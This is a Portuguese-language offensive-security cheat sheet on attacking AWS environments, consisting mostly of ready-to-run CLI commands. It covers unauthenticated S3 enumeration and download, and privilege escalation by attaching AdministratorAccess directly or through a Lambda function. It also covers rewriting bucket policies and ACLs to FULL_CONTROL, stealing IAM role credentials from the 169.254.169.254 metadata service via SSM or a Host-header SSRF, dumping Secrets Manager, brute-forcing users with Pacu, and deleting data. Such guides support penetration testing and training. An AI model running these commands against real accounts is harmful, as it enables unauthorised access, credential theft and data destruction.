AWS

Chaves

Tamanho e Tipos de Chaves

  • Access Key = 20 chars

  • Access Secret Key = 40 chars

  • Session Token = Chave temporária opicional

Prefixo de Chaves

PREFIXO
TIPO DE RECURSO

ABIA

AWS STS Service Bearer Token

ACCA

Context-Specific Credential

AGPA

User Group

AIDA

IAM User

AIPA

Amazon EC2 Instance Profile

AKIA

Access key (Chave de longa duração importante que raramente é modificada)

ANPA

Managed Policy

ANVA

Version in a Managed Policy

APKA

Public key

AROA

Role

ASCA

Certificate

ASIA

Os IDs de chave de acesso temporário (AWS STS) usam esse prefixo, mas são exclusivos apenas em combinação com a Secret Access Key e o Session Token.

S3

O Amazon Web Services (AWS) fornece um serviço chamado S3 (Simple Storage Service), que expõe uma interface de container de armazenamento chamado de "bucket" e os arquivos dentro do bucket são chamados de "objects". O S3 fornece um armazenamento ilimitado para cada bloco e os proprietários podem usá-los para disponibilizar arquivos. Os arquivos podem ser vinculados de forma privada (via URL com assinatura) ou pública por meio de uma ACL (Access Control List) configurada adequadamente ou por meio de uma ACP (Access Control Policy).

Todos os Buckets S3, quando configurados para hospedagem na web, recebem um domínio da AWS que você pode usar para navegar até ele sem configurar seu próprio DNS. Por exemplo, a página web http://mysther.com também pode ser visitado em http://mysther.com.s3-website-us-west-2.amazonaws.com/. Sendo assim, podemos nesse caso acessar a URL https://mysther.com.s3.amazonaws.com/ e vermos a lista de arquivos expostos.

Uma outra maneira de vermos é através do utilitário aws cli, acesso via terminal. Supondo que temos a seguinte URL https://mysther-static-resources.s3-ap-southeast-1.amazonaws.com/, podemos pegar somente o seu prefixo (mysther-static-resources) e então executar o seguinte comando (altere a região, caso necessário):

Enumeração (sem autenticação)

aws s3 --no-sign-request --region ap-southeast-1 ls s3://mysther-static-resources

Caso tenha sido listado diretório, podemos acessá-la da seguinte forma:

aws s3 --no-sign-request --region ap-southeast-1 ls s3://mysther-static-resources/<directoy>/

E por fim, fazer download de arquivos

aws s3 --no-sign-request --region ap-southeast-1 cp s3://mysther-static-resources/<directory>/<file> ./

Enumeração (com autenticação)

Listando Buckets

aws s3api list-buckets

Listando objetos de um determinado Bucket

aws s3api list-objects --bucket <bucket_name>

Fazendo download de arquivos. Note que key, é o nome do Objeto (no caso, um arquivo)

aws s3 cp s3://<bucket_name>/<key> .

OBS.: Ao localizar um Bucket, podemos acessá-lo via web, seguindo um dos seguintes padrões: https://<bucket_name>.s3.amazonaws.com/<file> ou http://<bucket_name>.s3-website-us-east-1.amazonaws.com/<file>

AWS CLI

Instalação

sudo apt install awscli

Configuração

Antes de começar, vamos configurar nossa chave de acesso. Para isso temos a maneira mais prática, que é executando o comando abaixo e depois inserindo as chaves.

aws configure

E podemos também, fazer de forma manual, criando um arquivo ~/.aws/credentials com o conteúdo abaixo. Caso não configure essa chave, provavelmente receberá um erro do tipo: Partial credentials found in shared-credentials-file, missing: aws_secret_access_key Para pegar as credenciais, vá no painel da AWS, clique no nome do usuário que está no canto superior à direita e depois em My Security Credentials. Feito isso vá em Access Keys (access key ID and secret access key) e gere uma chave.

[default]
aws_access_key_id = <key>
aws_secret_access_key = <key>

Esse processo obviamente é bem manual, já que estamos criando um arquivo manualmente e inserindo valores nele, então vamos deixar com que o próprio comando aws faça o "trabalho sujo" por nós.

Note que, editando o arquivo manualmente, podemos inserir o valor do token temporário em aws_session_token, já utilizando o comando aws configure, já não é possível definir esse valor.

aws configure --profile <profile>

Feito isso, informe o Key ID e o Access Key. Note que o diretório ~/.aws pode ficar um pouco diferente. O arquivo ~/.aws/credentials que já existia, agora tem uma configuração a mais e foi criado (caso não tinha) o arquivo ~/.aws/config, que contém a configuração das regiões.

Comandos Básicos

Pegando o UserID e o Account Name. Caso não defina o profile, por padrão será utilizado o profile default. Em ~/.aws/credentials, podemos ver o profile, que está entre colchete.

aws --profile <profile> sts get-caller-identity

Detalhes do snapshot da EC2

aws --profile <profile> ec2 describe-snapshots

Caso queira pegar um usuário em específico, é necessário adicionar o Owner, exemplo:

aws --profile <profile> ec2 describe-snapshots --owner-id <account>

Listando as permissões do S3 Bucket

aws s3api get-bucket-acl --bucket <bucket>

Listando arquivos em AWS Buckets públicos

aws s3 ls s3://<bucket_name> --no-sign-request

Caso já possua uma chave válida configurada, podemos listar os arquivos de uma forma mais prática

aws --profile <profile> s3 ls

Baixando conteúdo do Bucket

aws s3 sync s3://<bucket_name> --no-sign-request </dir/to/download/>

NOTA: As vezes é preciso informar a região. Podemos fazer isso com o parâmetro --region us-west-2

Fazendo upload de arquivos

aws s3 mv text.txt s3://<bucketname>

Verificando permissões de um determinado arquivo

aws s3api get-object-acl --bucket <bucket> --key <file>

IAM

O IAM (Identity and Access Management), é um serviço da Web que ajuda no controle de acessos aos recursos da AWS. É através do IAM, que podemos controlar quem é autenticado (que fez login) e autorizado (que tem permissão) a usar os recursos.

Por esse motivo, o IAM é um ponto totalmente visado a ataques, já que está centralizando e gerenciandos acessos a recursos.

Users

Informações sobre o usuário atual

aws iam get-user

Listando todos os Usuários

aws iam list-users

Não esqueça de ver as Policies que estão adicionadas aos outros usuários

aws iam list-attached-user-policies --user-name <UserName>

Criando um usuário. Note que nossa conta AWS precisa possuir tal permissão, então verifique mais abaixo como fazer para verificar as nossas políticas atuais e como fazer para anexar uma política administrativa em nosso usuário

aws iam create-user --user-name <username>

Após enumerar os usuários, crie um perfil de Login e acesse a plataforma via web

aws iam create-login-profile --user-name <username> --password <pass> --no-password-reset-required

Groups

Listando todos os Grupos

aws iam list-groups

Listando grupos de um determinado usuário

aws iam list-groups-for-user --user-name <user>

Adicionando um usuário em um grupo

aws iam add-user-to-group --group-name <group> --user-name <user>

Policies

Enumerando Políticas

aws iam list-policies

Políticas associadas em um grupo

aws iam list-attached-group-policies --group-name <grupo>

Para mais detalhes sobre uma determinada Política, pegue o ARN com o comando acima e depois execute:

aws iam get-policy --policy-arn <arn-policy>
aws iam get-policy-version --policy-arn <arn-policy> --version-id <v1>

Listando detalhes das Política de um determinado Usuário

aws iam list-user-policies --user-name <user>

Com a saída do comando acima, execute o comando abaixo mais detalhes

aws iam get-user-policy --user-name <user> --policy-name <PolicyNames>

Com a saída do comando acima, verifique se em Resource ou em Action há algo que possa ser interessante para escalar algum tipo de privilégio. Para executar o comando abaixo e verificarmos as Roles de uma Policy, vamos pegar como exemplo a seguinte saída: "Resource": ["arn:aws:iam::658552018120:role/Example"] e então utilizar somente o Example no final e executar:

aws iam list-role-policies --role-name <Example>

Agora vamos pegar o retorno de PolicyNames do comando acima e então executar. Verifique o conteúdo em Statement

aws iam get-role-policy --role-name <Example> --policy-name <PolicyNames>

Procurando por política ARN administrativa

aws iam list-policies | grep AdministratorAccess

Após isso, nós podemos anexar a política AdministratorAccess em nossa conta de usuário, bastando apenas pegar a <PolicyArn> na saída do comando acima

aws iam attach-user-policy --user-name <username> --policy-arn <PolicyArn>

Verificando políticas anexadas a um determinado usuário

aws iam list-attached-user-policies --user-name <username>

Com o resultado do comando acima, utilize o valor de PolicyArn para executar o comando abaixo, retornando assim mais detalhes sobre uma determinada Policy

aws iam get-policy --policy-arn <PolicyArn>

Verificando certificado assinado do usuário

aws iam list-signing-certificates --user-name <user>

Verificando por chave públic SSH do usuário.

aws iam list-ssh-public-keys --user-name <user>

Com o resultado do comando acima, utilize o valor de SSHPublicKeyId para executar o próximo comando

aws iam get-ssh-public-key --user-name <user> --encoding PEM --ssh-public-key-id <SSHPublicKeyId>

Verificando se um determinado usuário possui login na console

aws iam get-login-profile --user-name <user>

Verificando políticas de um determinado grupo

aws iam list-group-policies --group-name <group>

Roles

Enumerando as Roles

aws iam list-roles

Detalhes de uma determinada Role

aws iam get-role --role-name <RoleName>

Verificando as Policies de uma Role

aws iam list-role-policies --role-name <RoleName>

Assumindo uma role

aws sts assume-role --role-arn <arn:aws:iam::658552018120:role/Example> --role-session-name <example_test>

Execute o próximo comando, de acordo com a saída do comando anterior

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>

Note que fazendo isso, você substituindo seus acessos, então caso queria voltar ao normal, utilize o comando abaixo:

unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN

Misconfigured Trust Policy

aws sts assume-role --role-arn arn:aws:iam::<aws_account>:role/<role> --role-session-name ad_logging

Defina as variáveis, sendo os valores de acordo com o resultado do comando cima

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>

Verificando se as configurações

aws sts get-caller-identity

Verificando se há alguma política com s3 disponível

aws iam list-attached-role-policies --role-name <role_name>

Caso possua um s3 disponível, execute o comando abaixo para listar o conteúdo disponível nessa s3

aws s3 ls

PACU

Instalação

pip3 install -U pacu

Inicializando

pacu

Definindo as chaves

set_keys

Brute Force em Users

run iam__enum_users --role-name a4 --account-id <999999999999> --word-list <wordlist.txt>

Brute Force em Roles

run iam__enum_roles --role-name a4 --account-id <999999999999> --word-list <wordlist.txt>

Bucket

Listando Buckets

aws s3api list-buckets
aws --endpoint http://<site.com>:<port> s3api list-buckets

Listando objetos/arquivos de um determinado Bucket

aws s3api list-objects --bucket <bucket_name>
aws --endpoint http://<site.com>:<port> s3 ls s3://<bucket_name>

Baixando um bucket completo

aws --profile <profile> s3 sync s3://<bucket_name> ./

Fazendo download de arquivo que está armazenado em um determinado Bucket

aws s3 cp s3://<bucket_name>/<file> .
aws --endpoint http://<site.com>:<port> s3 cp s3://<bucket_name>/<file> ./

Fazendo upload de arquivo

# Arquivo novo
aws --endpoint http://<site.com>:<port> s3 cp <file> s3://<bucket_name>/

# Substituindo conteúdo de um arquivo existente
aws --endpoint http://<site.com>:<port> s3 cp <file> s3://<bucket_name>/<file>

Deletando arquivo remoto

aws --endpoint http://<site.com>:<port> s3 rm s3://<bucket_name>/<file>

Verificando as Policies de um determinado Bucket. Em algumas ocasiões, podemos ver os nomes dos arquivos, o que pode ser útil quando não temos acesso a leitura dos objetos do Bucket. Em outros casos, podemos ver configurações onde é possível ter acesso por exemplo, utilizando somente um determinado User Agent.

aws s3api get-bucket-policy --bucket <bucket_name> --output text | jq
aws --endpoint http://<site.com>:<port> s3api get-bucket-policy --bucket <bucket_name>

Caso possua permissão para atualizar as políticas, salve o resultado do comando acima e substitua o Deny por Allow e deixe partes como s3:GetBucketPolicy como s3:*. Também altere o Resource colocando um * no final, caso esteja apontando para algum arquivo em específico.

Agora faça upload do json modificado.

aws s3api put-bucket-policy --bucket <bucket_name> --policy file://<file.json>

Alterando ACL do Bucket

Primeiro precisamos baixar a ACL de um determinado bucket e salvar a saída em um arquivo json

aws s3api get-bucket-acl --bucket <bucket_name> > <file-acl.json>

Agora basta editar o arquivo, alterando o valor de Permission para FULL_CONTROL e depois atualizar a ACL atavés do comando abaixo:

aws s3api put-bucket-acl --bucket <bucket_name> --access-control-policy file://<file-acl.json>

Para verificar se deu certo utilize o segundo comando acima, porém sem jogar a saída para um arquivo json

Alterando ACL do Objeto em um Bucket

Primeiro precisamos baixar a ACL de um determinado objeto (arquivo) do bucket e salvar a saída em um arquivo json

aws s3api get-object-acl --bucket <bucket_name> --key <file> > <output-file.json>

Agora basta editar o arquivo, alterando o valor de Permission para FULL_CONTROL e depois atualizar a ACL atavés do comando abaixo:

aws s3api put-object-acl --bucket <bucket_name> --key <file> --access-control-policy file://<output-file.json>

C2

Analisando instâncias

aws ec2 describe-instances

Pegando o AMI ID

aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' --output json | jq -r '.Images | sort_by(.CreationDate) | last(.[]).ImageId'

Analisando subnets (aqui podemos encontrar o valor de SubnetId)

aws ec2 describe-subnets

Listando grupos de segurança

aws ec2 describe-security-groups (aqui podemos encontrar o valor de `GroupId`, por exemplo, `sg-12ad125a1b78c60`)

Listando perfis de instancias (aqui podemos encontrar o valor de InstanceProfileName)

aws iam list-instance-profiles

Inicializando uma EC2

aws ec2 run-instances --subnet-id <SubnetId> --image-id <ami-id> --iam-instance-profile Name=<InstanceProfileName> --instance-type t2.micro --security-group-ids "<GroupId>"

Com a saída do comando acima, atente-se ao valor de InstanceId e utilize-o abaixo para executarmos um comando no OS do EC2. No primeiro exemplo, estamos pegando as chaves de acesso e no segundo exemplo, apenas executando o comando id. Não se esqueça de altera o roleName, como fizemos com o <Example>

# Pegando chaves de acesso
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<roleName>/"]' --targets "Key=instanceids,Values=<InstanceId>"

# id
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["<command>"]' --targets "Key=instanceids,Values=<InstanceId>"

Note que apesar de termos executado o comando, não obtemos a sua saída. Para isso, precisamos realizar mais uma requisição, onde podemos ver ser o output do comando em StandardOutputContent. Atente-se ao CommandId que foi retornado no comando anterior

aws ssm get-command-invocation --command-id "<CommandId>" --instance-id "<InstanceId>"

Lambda

Listando Function Lambda

aws lambda list-functions

Para criar uma Function Lambda, primeira crie um arquivo chamado aws.py com o conteúdo abaixo. Isso irá adicionar um determinado usuário a Política de Administradores.

import boto3

def handler(event, context):
	iam = boto3.client("iam")
	response = iam.attach_user_policy(
		UserName="<user>", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
	)
	return response

Compacte o arquivo criado:

zip aws.zip aws.py

Crie a Function Lambda através do comando

aws lambda create-function --function-name aws-function --runtime python3.8 --zip-file fileb://aws.zip --handler aws.handler --role <arnRole>

Agora execute a Function criada

aws lambda invoke --function-name aws-function <output_file.txt>

Se ver novamente nas Policies do usuário, terá o AdministratorAccess

aws iam list-attached-user-policies --user-name <user>

Lambda Authorizer

O Lambda Authorizer é um recurso do API Gateway que usa uma função do Lambda para controlar o acesso à API. Com base nas informações fornecidas na solicitação, ou seja, tokens, parâmetros de solicitação etc, a função Lambda retorna uma política que permite ou nega o acesso à API.

Um ponto que podemos fazer para driblar isso é, acessar a URL http://ab.cd-api.us-east-1.amazonaws.com/dev/status com algum token aleatório para que seja validado e após isso,utiizar esse que foi validado em http://ab.cd-api.us-east-1.amazonaws.com/dev/admin. Exemplo:

$TOKEN=$RANDOM
curl 'http://ab.cd-api.us-east-1.amazonaws.com/dev/status' -H "Authorization: $TOKEN"
curl 'http://ab.cd-api.us-east-1.amazonaws.com/dev/admin' -H "Authorization: $TOKEN"

DynamoDB

Select

Listando tabelas do DynamoDB Server

aws --endpoint http://<ip>:4567 dynamodb list-tables

Verificando a estrutura de uma determinada tabela

aws --endpoint http://<ip>:4567 dynamodb describe-table --table <table>

Lendo conteúdo de uma determinada tabela

aws --endpoint http://<ip>:4567 dynamodb scan --table <table>

Para pesquisar por um valor específico, crie um arquivo chamado find.json com o conteúdo abaixo, altere a chave S com o respectivo index, caso seja necessário:

{
	":value": {"S": "<value>"}
}

Agora execute o comando de busca

aws --endpoint http://<ip>:4567 dynamodb scan --table users --filter-expression "<field_to_filter> = :value" --projection-expression "<field_to_return>" --expression-attribute-values file://</path/to/find.json>

Outra maneira de pesquisar, é da forma abaixo, porém aqui estamos filtrando por um campo diferente

aws --endpoint http://<ip>:4567 dynamodb query --table <table> --key-condition-expression "<field_to_filter> = :value" --expression-attribute-value file://</path/to/find.json>

Caso o json possua mais, valores, podemos organizá-lo da seguinte forma:

{
    ":value1": {"S": "<value>"},
    ":value2": {"S": "<value>"}
}

Agora em nossa --key-condition-expression, podemos deixa no seguinte padrão:

... --key-condition-expression "<field_to_filter> = :value1 and <field_to_filter> = :value2" ...

Insert

Crie um arquivo chamado insert.json com o seguinte valor (altere o nome das chaves e valores):

{
	"<field>": {"S":"<value>"},
	"<field>": {"S":"<value>"}
}

Agora execute

aws --endpoint http://<ip>:4567 dynamodb put-item --table <table> --item file://</path/to/insert.json>

Para verificar se realmente deu certo, crie um arquivo chamado search.json com o seguinte conteúdo (altere o field e o value para ser igual o foi inserido anteriormente):

{
	"<field>": {"S": "<value>"}
}

Agora realize a pesquisa com o comando

aws --endpoint http://<ip>:4567 dynamodb get-item --table <table> --key file://</path/to/search.json>

Update

Podemos também, atualizar um objeto. Para isso vamos criar um arquivo chamado key.json definindo o index (field) e seu respectivo valor, seguindo o seguinte padrão:

{
	"<field>": {"S": "<value>"}
}

Agora iremos criar um segundo arquivo chamado value.json, que irá conter o novo valor que iremos atribuir para o registro que der "match" com a condição do arquivo key.json criado acima

{
	":value": {"S": "<new_value>"}
}

Por fim, execute o comando para atualizar o banco de dados

aws --endpoint http://<ip>:4567 dynamodb update-item --table <table> --key file://</path/to/key.json> --update-expression "SET <field_to_change> = :value" --expression-attribute-values file://</path/to/value.json>

Para verificar se deu certo, execute

aws --endpoint http://<ip>:4567 dynamodb get-item --table <table> --key file://</path/to/key.json>

Delete

Deletando registro de uma tabela

aws --endpoint http://<ip>:4567 dynamodb delete-item --table <table> --key file:///<path/<to>/<file.json>

Deletando uma tabela

aws --endpoint http://<ip>:4567 dynamodb delete-table --table <table>

Bucket Finder

Procura por buckets que estão públicos e baixa o seu conteúdo.

./bucket_finder.rb --region us <wordlist> --download

Pegando Chaves

Ao acessar um servidor web hospedado na AWS, utilize o 169.254.169.254 no header Host para pegar dados sensíveis, incluindos as chaves AWS

curl http://<ip>/ -H 'Host: 169.254.169.254'
curl http://<ip>/latest/meta-data/iam/security-credentials/<role_name> -H 'Host: 169.254.169.254'

Secret Managers

Configurando o AWS

export AWS_ACCESS_KEY_ID = <aws_access_key_id>
export AWS_SECRET_ACCESS_KEY = <aws_secret_access_key>
export AWS_SESSION_TOKEN = <aws_session_token>

Enumerando os Callers Identity

aws sts get-caller-identity

Listando os Secret Managers

aws secretsmanager list-secrets --region <us-east-1>

Alterr o <name> abaixo pela retorno de Name no comando anterior

aws secretsmanager get-secret-value --secret-id <name>

IMDS

É possível acessar metadados de instância em uma instância em execução utilizando o IMDSv1 (método de solicitação/resposta) ou o IMDSv2 (método orientado a sessões). Os cabeçalhos PUT ou GET são exclusivos do IMDSv2. Se esses cabeçalhos estiverem presentes na solicitação, a solicitação será destinada ao IMDSv2. Se nenhum cabeçalho estiver presente, presume-se que a solicitação seja destinada ao IMDSv1.

Ao acessarmos a URL abaixo, podemos receber um 401 - Unauthorized

curl http://169.254.169.254/latest/meta-data

Porém podemos contarnar isso com o comando abaixo, onde iremos pegar o token e jogar na variável TOKEN:

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"`

Agora com o token em mãos, vamos pegar todos os serviços

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

Feito isso, podemos navegar nos diretórios localizados, como no exemplo abaixo, no diretório iam (caso exista). Dentro do diretório iam irão existir mais arquivos e diretórios que podem ser acessados, então vá sempre adicionando eles no final da URL

curl http://169.254.169.254/latest/meta-data/iam/ -H "X-aws-ec2-metadata-token: $TOKEN"

Acessando via Postman com Access Key e Access Secret Key

Depois de ter em mãos o Access Key (chave com o prefixo AKIA) e o Access Secret Key, abra o Postman e na aba de autenticação, selecione AWS Signature. Insira então as duas chaves, a região (pro exemplo us-east-1) e o Service Name, que podemos pegar na URL, onde temos o valor execute-api, para a URL. https://a2s4f3fcl6.execute-api.us-east-1.amazonaws.com/default/

Sites

# Pesquisa pública da Open Amazon S3 Buckets
https://buckets.grayhatwarfare.com/

# Explicação sobre a AWS
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/

# Gerador de Policies
https://awspolicygen.s3.amazonaws.com/policygen.html

# PACU
https://github.com/RhinoSecurityLabs/pacu1
PreviousGitNextSubdomain Takeover

Last updated

Was this helpful?